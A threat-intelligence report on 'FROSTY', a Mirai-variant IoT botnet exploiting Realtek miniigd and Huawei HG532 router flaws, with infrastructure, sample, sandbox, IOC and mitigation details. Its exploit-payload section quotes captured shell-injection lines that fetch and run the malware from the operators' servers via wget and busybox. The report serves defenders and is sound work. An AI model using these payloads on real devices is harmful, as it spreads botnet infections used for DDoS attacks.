TLP:CLEAR

FROSTY — Mirai-lineage IoT botnet

Active CVE exploitation campaign targeting Realtek miniigd and Huawei HG532 router fleets

Published 2026-06-21 Source Distributed SSH/Telnet Honeypot Fleet Confidence HIGH Classification Mirai Variant / IoT DDoS Botnet

Executive summary

A pair of old router bugs is still doing new work. Since late May, our fleet has watched a Mirai-derived bot spread itself through two CVEs from 2015 and 2018 under a name we hadn't seen before, frosty.mips. When we finally got a copy running in our own sandbox, it dialed home 14 separate times, and on every run after the first, the operator's server stayed alive but silent, answering only bots it already trusted.

Key Finding
Since 2026-05-21, our distributed honeypot fleet has observed an active IoT botnet campaign distributing a Mirai-variant binary named frosty.mips. The campaign exploits two long-known vulnerabilities: CVE-2014-8361 (Realtek miniigd UPnP RCE) and CVE-2017-17215 (Huawei HG532 SOAP RCE), to self-propagate across Internet-exposed routers and IoT devices. With 33,431 events observed over 31 days across geographically distributed sensors, the campaign is active and ongoing.

The botnet operator has deployed a dual-distribution infrastructure (two independent C2 servers both running Apache 2.4.6 on CentOS) with self-replication argument tracking, indicating a structured and mature operation. Both distributed binaries are confirmed Mirai variants by VirusTotal (42/63 engines for the primary sample as of this fact-check pass — detection counts rise over time as engines re-scan) and tria.ge behavioral analysis (score 10/10 for both samples, family tagged mirai). The actual command-and-control server, 103.106.228.23:80, is distinct from the distribution nodes and is connection-filtered, responding only to infected devices.

33,431
Total Events
31
Days Active
42/63
VT Detections
10/10
Triage Score
2
CVEs Exploited

Threat actor profile

The "FROSTY" operator has not been attributed to a named threat actor. Based on observed tradecraft, the operation exhibits the following characteristics:

Maturity Indicators
Structured, not opportunistic. Three distinct indicators suggest an organized operator: (1) dual C2 distribution infrastructure with failover; (2) per-device-family self-replication argument tagging (realtek.selfrep / huawei.selfrep) enabling conversion rate tracking by exploit type; (3) two distinct binary builds of different sizes (111 KB and 120 KB) suggesting active development cycles.
Attribute Assessment Confidence
Motivation DDoS-for-hire or DDoS capability building (Mirai lineage) HIGH
Sophistication Intermediate — dual infra, selfrep tracking, but relies on ~10-year-old CVEs HIGH
Attribution Unknown; no public naming; "frosty" branding not in public threat reports MED
Target profile Consumer/SOHO routers (Realtek SDK, Huawei HG532). Primarily APAC/global ISP space. HIGH
Operational tempo Continuous (observed every day since 2026-05-21). Surge event 2026-06-17. HIGH

Infrastructure analysis

Scanner Nodes ────────────────── Exploit HTTP/SOAP/UPnP
│ │
45.194.67.8 (Huawei scanner — 7,692 hits/8h) ──→ Victim IoT Device
66.132.x.x (237 unique IPs — compromised fleet) ──→ Victim IoT Device
wget/busybox fetches payload
┌────────────────────┴─────────────────────┐
109.104.153.60 (primary) 86.54.82.179 (backup)
Apache 2.4.6/CentOS Apache 2.4.6/CentOS
/bins/frosty.mips /bins/frosty.mips
120,488 bytes 111,379 bytes
SHA2: 33efcefc... SHA1: f9b2997c...
└──────────────────┬──────────────────┘
bot executes → calls home
103.106.228.23:80 (C2)
Raw TCP — connection-filtered
Silent to non-bot clients
PCAP confirmed: ~4.3 KB/session

Distribution servers

IP Role Server Binary served SHA256 Size Directory listing
109.104.153.60 Primary dist Apache 2.4.6 (CentOS) /bins/frosty.mips 33efcefc… 120,488 B 403 Blocked
86.54.82.179 Backup dist Apache 2.4.6 (CentOS) /bins/frosty.mips f9b2997c… 111,379 B 403 Blocked

Both distribution nodes run Apache 2.4.6 on CentOS, likely CentOS 7, which reached EOL in June 2024. Directory listing is explicitly disabled (403 Forbidden). The size difference between binaries (9 KB) suggests the two servers are running different build revisions, not identical copies.

Command and control server

Active C2
103.106.228.23:80 — Confirmed active C2. Discovered via sandbox detonation of SHA2 (14 separate detonation runs to date). The binary connects to this IP on port 80 via raw TCP (not HTTP); approximately 4.3 KB exchanged per session. The C2 does not respond to standard HTTP clients or our sandbox WARP IPs, consistent with IP allowlisting or a Mirai-style challenge/response handshake that only responds to registered bot IDs. Our own nmap sweep of this host found 0 open ports, but that sweep excludes port 80 by default (fleet-wide policy, to cut noise from ubiquitous web ports) — it never actually probed the port the C2 uses, so it is not independent evidence that port 80 is closed to non-bot clients.
IP Port Protocol Nmap (top-200, excl. 22/25/80/443/53/123/161) Sandbox Sessions observed
103.106.228.23 80/tcp Raw TCP (Mirai C2) 0/200 open (port 80 excluded) Connected / silent 14 (3.4–4.6 KB PCAP each)

Scanner infrastructure

IP / Range Unique IPs Hits (30d) CVE focus Notes
45.194.67.8 1 7,692 CVE-2017-17215 Dedicated Huawei scanner — blitzed multiple fleet sensors in a single 8-hour window (2026-06-17). Single CVE only.
66.132.x.x 237 3,810 Both Distributed scanning fleet — likely compromised hosts
216.180.x.x 38 637 Both
199.45.x.x 53 650 Both
152.32.x.x 44 443 Both

Malware analysis

Binary samples

Sample ID SHA256 Architecture Size VirusTotal Triage
SHA1 (86.x build) f9b2997c80753505… ELF 32-bit MSB MIPS 111,379 B 37/63 260621-wdaacaev3j 10/10
SHA2 (109.x build) 33efcefc39dabf81… ELF 32-bit MSB MIPS 120,488 B 42/63 260617-weax9sdx3v 10/10

VirusTotal analysis (SHA2)

VT Verdict — 42/63 Engines (re-checked at fact-check time)
Popular threat label: trojan.mirai/ddos
Popular threat category: Trojan
Type: ELF
Last analysis: 2026-07-03 11:03 UTC — up from 41/62 at 2026-06-21 06:04 UTC when this sample was first submitted; detection counts on VT rise over time as more engines re-scan, so this figure will keep drifting upward.
EngineDetection Name
MicroWorld-eScan / BitDefender / GData / ALYac / VIPREGen:Variant.Linux.Mirai.1
AvastELF:Hajime-R [Trj]
SophosLinux/DDoS-CIA
SkyhighLinux/Mirai.l
TrendMicro / TrendMicro-HouseCallTrojan.Win32.ZYX.USBLFO26

The Avast detection as ELF:Hajime-R is likely a false family classification due to structural similarities between Mirai and Hajime; the consensus across other engines naming Mirai directly is more reliable. The Linux/DDoS-CIA label (Sophos) refers to the DDoS component architecture, not a nation-state attribution. ALYac/VIPRE's label changed from Gen:Variant.Linux.Downloader.1 at first submission to Gen:Variant.Linux.Mirai.1 on re-scan — consistent with the same generic detection engine tightening its verdict, not a different finding.

Tria.ge behavioral analysis

SampleScoreFamilyMITRE TTPsSignatures
SHA1 f9b2997c… 10/10 mirai T1027 Family: Mirai; XOR string obfuscation (Mozilla/5.0 keyword)
SHA2 33efcefc… 10/10 mirai T1016 Family: Mirai; System Network Configuration Discovery

The SHA1 sample uniquely triggers a signature for XOR-obfuscated strings, specifically a Mozilla/5.0 User-Agent string; the SHA2 sample instead uniquely triggers the System Network Configuration Discovery (T1016) signature — the two samples' behavioral fingerprints differ. Mirai variants commonly XOR-encrypt embedded strings (C2 IP, User-Agent, attack strings) with a single-byte key to evade static analysis, the deobfuscated string is used in HTTP flood attack payloads.

Sandbox detonation (cowrAI sandbox — MIPS)

Detonation Notes
SHA2 has been detonated 14 times to date in an isolated MIPS sandbox environment, with network egress routed through a residential-style VPN for realistic network conditions. On the first detonation (successful execution, 300s runtime), the binary connected to 103.106.228.23:80 and was killed at timeout. In all 13 subsequent runs, the binary connected to the same C2 but received no commands — the C2 stayed alive but went silent, each run left to dwell for up to 12 hours before being bailed. The C2 distinguishes between known bots and new connections, refusing to issue commands to unregistered or probing clients.
Run Date (UTC) C2 Contacted exec_ok Outcome PCAP
12026-06-17 04:47103.106.228.23:80truekill (300s timeout)3,429 B
22026-06-17 08:24103.106.228.23:80falsec2_silent_bail4,181 B
32026-06-17 21:45103.106.228.23:80falsec2_silent_bail4,556 B
4–142026-06-18 → 2026-06-23103.106.228.23:80falsec2_silent_bail (all)~4.3 KB avg

The consistent ~4.3 KB PCAP across all detonation runs suggests a deterministic handshake exchange: the bot sends its registration packet; the C2 acknowledges receipt but issues no commands to sandbox/WARP-egress IPs. In a real infection, this would be followed by the bot sitting idle until the operator issues a DDoS command.

Observed TTPs — MITRE ATT&CK

Exploit Public-Facing Application
CVE-2014-8361 (Realtek miniigd UPnP RCE), CVE-2017-17215 (Huawei HG532 SOAP RCE)
Command and Scripting Interpreter
Shell injection via SOAP/XML body. Commands delivered via HTTP POST to exposed management interfaces.
Ingress Tool Transfer
wget/busybox wget used to fetch frosty.mips from distribution C2 after initial exploitation.
Obfuscated Files or Information
XOR string obfuscation of embedded strings (C2 IP, User-Agent for HTTP flood). Confirmed by triage signature on SHA1.
System Network Config Discovery
Confirmed by triage behavioral analysis. Standard Mirai pre-infection reconnaissance.
Non-Application Layer Protocol
Raw TCP C2
C2 communication on port 80 via raw TCP (not HTTP). ~4.3 KB handshake per session.
Network Denial of Service
Mirai variant — primary payload capability is DDoS (volumetric). VT label: trojan.mirai/ddos.
Compromise Infrastructure: Botnet
66.132.x.x /16 contributes 237 unique scanning IPs — likely compromised hosts used as scanner infrastructure.

Activity timeline

2026-05-21
First FROSTY campaign events observed in cowrAI fleet. CVE-2014-8361 + CVE-2017-17215 exploits begin arriving.
2026-06-16
cowrAI chase-runner fetches frosty.mips from 86.54.82.179 for the first time (SHA1). Open-dir probe returns 403. First sandbox detonation queued.
2026-06-17 03:17 UTC
Major surge event. Scanner node 45.194.67.8 hammers multiple fleet sensors with CVE-2017-17215 in an 8-hour window. 7,692 events came from a single IP. cowrAI chase-runner independently fetches SHA2 from 109.104.153.60.
2026-06-17 04:47 UTC
First successful detonation of SHA2 in cowrAI MIPS sandbox. Binary runs for 300s, connects to 103.106.228.23:80. Real C2 IP identified.
2026-06-17 → present
Continuous lower-level scanning from distributed fleet (66.132.x.x and others). 8 additional detonation runs of SHA2 — all confirm C2 alive but silent to sandbox clients.
2026-06-21 06:04 UTC
SHA2 (33efcefc…) appears on VirusTotal for the first time — either submitted by another researcher or auto-uploaded. 41/62 engines detect as Mirai.
2026-06-21 (this report)
Both samples submitted to VirusTotal and tria.ge by cowrAI. Full reports published. Campaign ongoing as of report date.

Exploit payloads

CVE-2014-8361 — Realtek miniigd UPnP RCE

Exploits the NewInternalClient SOAP action in Realtek's miniigd UPnP daemon. The XML body injects a shell command via backtick expansion in the parameter value.

# Primary C2 (109.104.153.60)
`cd /var; rm -rf zuki; wget http://109.104.153.60/bins/frosty.mips -O zuki; chmod 777 zuki; ./zuki realtek.selfrep`

# Backup C2 (86.54.82.179)
`cd /var; rm -rf zuki; wget http://86.54.82.179/bins/frosty.mips -O zuki; chmod 777 zuki; ./zuki realtek.selfrep`

CVE-2017-17215 — Huawei HG532 SOAP RCE

Exploits the NewStatusURL action in Huawei HG532's TR-064 management interface. Uses busybox wget's -g (host) / -r (remote path) / -l (local path) flags.

# Primary C2
$(/bin/busybox wget -g 109.104.153.60 -l /tmp/.frosty.mips -r /bins/frosty.mips; \
  /bin/busybox chmod 777 * /tmp/.frosty.mips; /tmp/.frosty.mips huawei.selfrep)

# Backup C2
$(/bin/busybox wget -g 86.54.82.179 -l /tmp/.frosty.mips -r /bins/frosty.mips; \
  /bin/busybox chmod 777 * /tmp/.frosty.mips; /tmp/.frosty.mips huawei.selfrep)
Self-Rep Argument Significance
The binary is launched with a positional argument identifying the exploit that installed it: realtek.selfrep or huawei.selfrep. In Mirai-lineage code, argv[1] is typically stored and reported to the C2 as metadata, allowing the operator to track which vulnerabilities are most productive for fleet growth. This is a distinguishing operational marker. Not all Mirai variants implement selfrep tracking.

Indicators of compromise

Network IOCs

Distribution C2 — Primary
109.104.153.60
Serves /bins/frosty.mips · Apache 2.4.6/CentOS
Distribution C2 — Backup
86.54.82.179
Serves /bins/frosty.mips · Apache 2.4.6/CentOS
Bot C2
103.106.228.23:80
Raw TCP C2 · Connection-filtered · PCAP confirmed active
Scanner — Primary
45.194.67.8
Dedicated Huawei scanner · 7,692 hits in 8h window
Payload URL
http://109.104.153.60/bins/frosty.mips
Primary payload delivery URL
Payload URL
http://86.54.82.179/bins/frosty.mips
Backup payload delivery URL

File IOCs

SHA256FilenameSizeTypeSource
33efcefc39dabf8181aaf22dfab876531a86beb077a0eb87c77c80c5dadf2fa3 frosty.mips 120,488 B ELF 32-bit MSB MIPS 109.104.153.60
f9b2997c80753505de598605fb8bdb2ac0abb095a20df9cd39623dd9ceb6a5cf frosty.mips 111,379 B ELF 32-bit MSB MIPS 86.54.82.179

Filesystem artifacts

On-Device Artifacts
After successful exploitation, look for these on affected devices:
/var/zuki — temporary binary name used by Realtek exploit path
/tmp/.frosty.mips — temporary binary name used by Huawei exploit path (hidden file — note the leading dot)
Outbound TCP connections to 103.106.228.23:80 from IoT devices
Unexpected busybox invocations with wget -g <IP> -r /bins/ arguments in router logs

CVE references

CVEVendorComponentDescriptionFirst published
CVE-2014-8361 Realtek miniigd UPnP daemon RCE via NewInternalClient SOAP action. Affects Realtek SDK v1.3 / v2.0. CVSS 10.0. 2015-05-01
CVE-2017-17215 Huawei HG532 TR-064 management RCE via NewStatusURL SOAP action. Exploited in wild by Satori/Okiru Mirai variants within weeks of disclosure. CVSS 8.8. 2018-03-20

Mitigations and detection

For network defenders

ActionPriorityDetail
Block distribution C2s HIGH Block outbound HTTP to 109.104.153.60 and 86.54.82.179 at perimeter. Requests to /bins/ path are definitive.
Block bot C2 HIGH Block TCP to 103.106.228.23:80. Affected devices on your network calling this IP are already infected.
Firewall TR-064 (port 7547) HIGH CVE-2017-17215 requires access to Huawei HG532's TR-064 interface. Block Internet-facing TCP/7547. Also block TCP/37215 and TCP/52869.
Firewall UPnP (port 1900) HIGH CVE-2014-8361 targets Realtek miniigd. Disable UPnP on Internet-facing interfaces. Block TCP/52869 and UDP/1900 from WAN.
Monitor for scanner IPs MED Alert on inbound connections from 45.194.67.8 and 66.132.0.0/16. Suppress known-good (Shodan/Censys scanner) prefixes to reduce noise.
Hunt for filesystem artifacts MED Scan managed devices for /var/zuki, /tmp/.frosty.mips, and unexpected MIPS ELF files in world-writable directories.

Detection signatures

# Suricata/Snort — payload delivery
alert http any any -> any any (msg:"FROSTY Mirai payload download"; \
  content:"/bins/frosty.mips"; http_uri; \
  flow:established,to_server; sid:9910001; rev:1;)

# Suricata/Snort — Huawei HG532 exploit inbound
alert http any any -> $HOME_NET 7547 (msg:"FROSTY CVE-2017-17215 exploit attempt"; \
  content:"NewStatusURL"; http_client_body; \
  content:"frosty"; http_client_body; \
  flow:established,to_server; sid:9910002; rev:1;)

# Suricata — outbound C2 beacon
alert tcp $HOME_NET any -> 103.106.228.23 80 (msg:"FROSTY Mirai C2 beacon"; \
  flow:established,to_server; sid:9910003; rev:1;)

The "frosty" binary name and campaign tradecraft do not match any named threat actor in public sources as of 2026-06-21. Relevant comparisons:

VulnCheck "frost" Botnet (Dec 2025)
VulnCheck documented a "frost" botnet (similar name) in December 2025 that uses different C2 infrastructure (87.121.84.52) and a completely different CVE set (15 CVEs including CVE-2023-1389 TP-Link, CVE-2025-2611 ICTBroadcast). IRC C2 with "220 meow :3" banner. Not the same campaign, coincidental naming or a separate operator reusing the theme.
Historical Context — CVE-2014-8361 + CVE-2017-17215 Exploit Pair
This exact CVE pair is a well-worn combination in Mirai-lineage IoT botnets. Akamai SIRT documented both vulnerabilities together as part of the "Corona" Mirai variant's exploit set (published 2024-08-28), alongside AVTECH camera CVEs and a Hadoop YARN RCE, noting they "have been observed exploited in the wild several times, and continue to be successful." The FROSTY campaign appears to be a further iteration of this well-worn exploitation pattern, distinguished by its binary branding, dual-C2 redundancy, and self-replication tracking.

Collection methodology

All data in this report was collected organically by the cowrAI distributed SSH/Telnet honeypot fleet, deployed across multiple cloud providers and geographic regions. Fleet nodes also run alt-protocol lure daemons including soaplure (ports 7547, 37215, 52869) which captures Huawei and Realtek SOAP exploit attempts.

Payload URLs discovered via the fleet's automated pipeline were fetched within minutes of first observation. Binaries were detonated in an isolated MIPS sandbox with network egress routed through a residential-style VPN for realistic network conditions. Tria.ge behavioral analysis and VirusTotal lookups were performed via the fleet's own investigation tooling.

No interaction with victim networks occurred; all data was observed passively from honeypot sensor nodes.